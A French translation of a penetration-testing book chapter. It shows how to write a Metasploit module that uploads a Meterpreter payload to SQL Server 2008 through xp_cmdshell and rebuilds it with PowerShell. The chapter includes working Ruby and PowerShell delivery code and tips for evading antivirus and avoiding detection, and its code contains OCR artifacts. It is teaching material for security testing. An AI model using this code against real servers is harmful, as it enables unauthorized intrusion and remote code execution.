• Aucun résultat trouvé

Supposons que vous travailliez sur un pentest et que vous rencontriez un système exécutant SQL Server 2008 et Microsoft Server 2008 R2. Puisque Microsoft a enlevé debug.exe sous Windows 7 x64 et Windows Server 2008, ces systèmes ne vous autoriseraient pas à convertir des exécutables de façon traditionnelle comme défini au Chapitre 11. Cela signifie que vous devez créer un module qui vous permettra d’attaquer avec succès Microsoft Server 2008 et l’instance SQL Server 2008.

Nous ferons certaines suppositions pour les besoins du scénario.

Premièrement, vous avez déjà deviné que le mot de passe du Serveur SQL est vide, et vous avez

obtenu l’accès à la procédure stockée xp_cmdshell. Vous devez délivrer un payload Meterpreter au système, mais tous les ports sauf le 1433 sont fermés. Vous ne savez pas si c’est un firewall physique qui est en place ou si c’est le firewall intégré de Windows qui est utilisé, mais vous ne voulez pas modifier la liste des ports ou arrêter le firewall car cela pourrait éveiller des soupçons.

Powershell

Windows PowerShell est notre seule option viable ici. PowerShell est un langage de script Windows complet qui permet d’accéder au framework Microsoft .NET depuis la ligne de commande. La

communauté active de Powershell travaille au développement de l’outil, pour en faire un outil de qualité pour les professionnels de la sécurité grâce à sa polyvalence et sa compatibilité avec .NET.

Nous n’allons pas rentrer dans le fonctionnement de PowerShell et de ses fonctions, mais vous devez savoir que c’est un langage de programmation parfaitement accompli et disponible pour vous sur les systèmes d’exploitation les plus récents.

Nous allons créer un nouveau module qui utilisera Metasploit pour convertir le code binaire en hexadécimal (ou Base64 si vous le désirez) et pour l’afficher sur le système d’exploitation sous-jacent. Après, nous utiliserons PowerShell pour restaurer l’exécutable au format binaire afin que

vous puissiez l’exécuter.

Pour commencer, nous créons un texte standard en copiant l’exploit mssql_payload comme suit :

root@bt:/opt/framework3/msf3# cp module s/e xploits/windows/mssql/mssql_payload.rb module s/e xploits/windows/mssql/mssql_powe rshe ll.rb

Après, nous ouvrons le fichier mssql_powershell.rb que nous venons de créer et modifions son code pour qu’il ressemble à ce qui suit. C’est un exploit de base en shell. Prenez du temps pour vérifier les différents paramètres et vous rappeler les sujets traités dans les chapitres précédents.

require ’msf/core’ # requête des librairies centrales

class Metasploit3 < Msf::Exploit::Remote # définir comme exploit à distance Rank = ExcellentRanking # exploit de très bon rang

include Msf::Exploit::Remote::MSSQL # inclure la librairie mssql.rb

def initialize(info = {}) # initialisation du modèle de base

super(update_info(info,

’Name’ => ’Microsoft SQL Server PowerShell Payload’, ’Description’ => %q{

This module will deliver our payload through Microsoft PowerShell using MSSQL based attack vectors.

},

’Author’ => [ ’David Kennedy "ReL1K" <kennedyd013[at]gmail.com>’],

’License’ => MSF_LICENSE,

’Version’ => ’$Revision: 8771 $’, ’References’ =>

[

[ ’URL’, ’http://www.secmaniac.com’ ] ],

’Platform’ => ’win’, # cible uniquement Windows

’Targets’ =>

[

[ ’Automatic’, { } ], # cible automatique ],

’DefaultTarget’ => 0 ))

register_options( # enregistrement des options parmi lesquelles # l’utilisateur doit choisir [

OptBool.new(’UsePowerShell’,[ false, "Use PowerShell as payload delivery method instead", true]), # Utiliser PowerShell par défaut ])

end

def exploit # On définit notre exploit ; ça ne fait encore rien pour # l’instant

handler # appel du handler Metasploit

disconnect # déconnection une fois le handler lancé end

end

Avant que cet exploit ne fonctionne correctement, vous aurez besoin de configurer quelques

paramètres de base. Remarquez que le nom, la description, la licence et les références sont définis en

❶. Nous indiquons également la plateforme en ❷ (Windows) et la cible en ❸ (tout système). Nous définissons aussi un nouveau paramètre appelé UsePowerShell en ❹ à utiliser dans le corps de l’exploit. Enfin, un handler est spécifié en ❺ pour gérer les connexions entre l’attaquant et la cible exploitée.

Exécuter l’exploit shell

Une fois le squelette de l’exploit construit, nous l’exécutons via msfconsole pour voir les options disponibles :

msf > use windows/m ssql/m ssql_powe rshe ll msf exploit(mssql_powershell) > show options

Module options:

Name Current Setting Required Description ---- --- ---

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

UsePowerShell true no Use PowerShell as payload delivery method instead

La commande show options affichera n’importe quelles options nouvelles qui ont été ajoutées à un

exploit (voir Chapitre 5). Après que ces options ont été initialisées, elles sont stockées dans Metasploit comme des options valides.

Maintenant, nous allons finaliser le fichier mssql_powershell.rb que nous avons édité depuis le début de ce chapitre avant d’éditer mssql.rb (ce qui sera expliqué brièvement).

Quand vous examinerez les exploits dans le dossier Modules à l’intérieur de Metasploit (modules/exploits, modules/auxiliary/, et ainsi de suite), vous remarquerez que la plupart ont la même structure générale (l’exploit def est un exemple). Pensez à toujours commenter votre code pour expliquer aux autres

développeurs ce qu’ils font ! Dans le listing suivant, nous introduisons d’abord notre ligne def exploit, qui définit ce que nous allons faire avec cet exploit. Nous allons l’encadrer de la même manière que les autres modules et ajouter quelques nouvelles sections, comme expliqué ci-après :

def exploit

# si login et pass ne marchent pas, erreur

if(not mssql_login_datastore)

print_status("Invalid SQL Se rve r c re de ntials")

return

end

# utiliser la méthode Powershell pour délivrer le payload

if (datastore[’UsePowerShell’])

powershell_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

end handler disconnect end

end

Le module vérifie d’abord si nous sommes connectés en ❶. Si nous ne le sommes pas, le message d’erreur Invalid SQL Server Credentials ❷ s’affiche. La méthode UsePowerShell en ❸ est utilisée pour appeler la fonction powershell_upload_exec ❹, ce qui créera automatiquement un payload Metasploit que l’on spécifie durant notre exploit. Une fois l’exploit lancé, quand nous spécifierons notre payload dans msfconsole, il sera généré automatiquement, grâce à l’option

Msf::Util::EXE.to_win32pe(framework,payload.encoded). Créer powershell_upload_exec

Maintenant nous allons ouvrir le fichier mssql.rb, ouvert précédemment afin d’être prêt à l’éditer. Nous devons trouver de la place pour stocker la fonction powershell_upload_exec.

root@bt:/opt/framework3/msf3# nano lib/msf/core /e xploit/mssql.rb

Dans votre version de Metasploit, vous pouvez faire une recherche pour PowerShell et devriez voir le code de référence qui suit dans le fichier mssql.rb. N’hésitez pas à supprimer ce code du fichier et à le recommencer du début.

# Upload et exécution d’un binaire Windows via des requêtes SQL et PowerShell

def powershell_upload_exec(exe, debug=false)

# hex converter

hex = exe.unpack("H*")[0]

# création aléatoire de noms alpha de 8 caractères

var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")

En ❶, vous voyez que notre définition inclut la commande exe et les paramètres de debug qui sont ajoutés à la fonction def powershell_upload_exec. La commande exe est l’exécutable que nous enverrons à partir de notre code original Msf::Util::EXE.to_win32pe(framework,payload.encoded), comme mentionné

précédemment. La commande debug est réglée sur false, ce qui veut dire que nous n’allons pas avoir d’information de debug. Généralement, elle sera initialisée à true pour que des traces supplémentaires pour la recherche d’erreur soient visibles.

Puis, en ❷, nous convertissons tout l’exécutable encodé au format hexadécimal brut. Le H dans cette ligne veut simplement dire "ouvrez le fichier en tant que fichier binaire et convertissez-le dans une représentation hexadécimale".

En ❸, nous allons créer un nom de fichier aléatoire, alphabétique, à huit caractères. Il vaut généralement mieux choisir ce nom de manière aléatoire afin de tromper le logiciel antivirus.

Et finalement, en ❹, nous informons l’attaquant que notre payload restera sur le système d’exploitation, dans le répertoire /Temp du SQL Server.

Convertir Hex en binaire

Le listing suivant montre la reconversion de l’hexadécimal en binaire, écrit en PowerShell. Le code est défini comme une chaîne qui devra être appelée plus tard et uploadée sur la machine cible.

h2b = "$s = gc ’C:\\Windows\\Temp\\#{var_payload}’;$s = [string]::Join(’’, $s);$s= ❷ $s.Replace(’’r’,’’); $s = $s.Replace(’’’n’,’’);$b = new-object byte[]

$($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(’C:\\Windows\\Temp\\#

{var_payload}.exe’,$b)"

h2b_unicode=Rex::Text.to_unicode(h2b)

# l’encodage en base64 permet de d’exécuter via PowerShell sans

# changement dans le registre

h2b_encoded = Rex::Text.encode_base64(h2b_unicode)

print_status("Uploading the payload #{var_payload}, please be patient...")

En ❶, nous créons la méthode de conversion hexadécimale à binaire (h2b) via PowerShell. Ce code crée essentiellement un tableau ❶ d’octets ❷ qui réécrira le payload Metasploit écrit en hexadécimal en fichier binaire (le {var_payload} est un nom aléatoire spécifié via Metasploit).

Parce que MS SQL a des restrictions sur le nombre de caractères, nous devons découper notre payload hexadécimal en fragments de 500 octets qui séparent le payload en de multiples requêtes.

Mais un effet secondaire de cette séparation est que des retours chariots et sauts de ligne (CRLF) sont ajoutés au fichier sur la cible, et nous avons besoin de les retirer, ce que nous faisons en ❷. Si nous ne le faisions pas, notre binaire serait corrompu et ne s’exécuterait pas correctement. Remarquez que nous sommes simplement en train de réaffecter les variables $s pour remplacer ’r et ’n avec ’’ (rien).

Cela supprime efficacement les CRLF.

Une fois les CRLF retirés, Convert::ToByte est invoqué dans le payload Metasploit écrit en hexadécimal.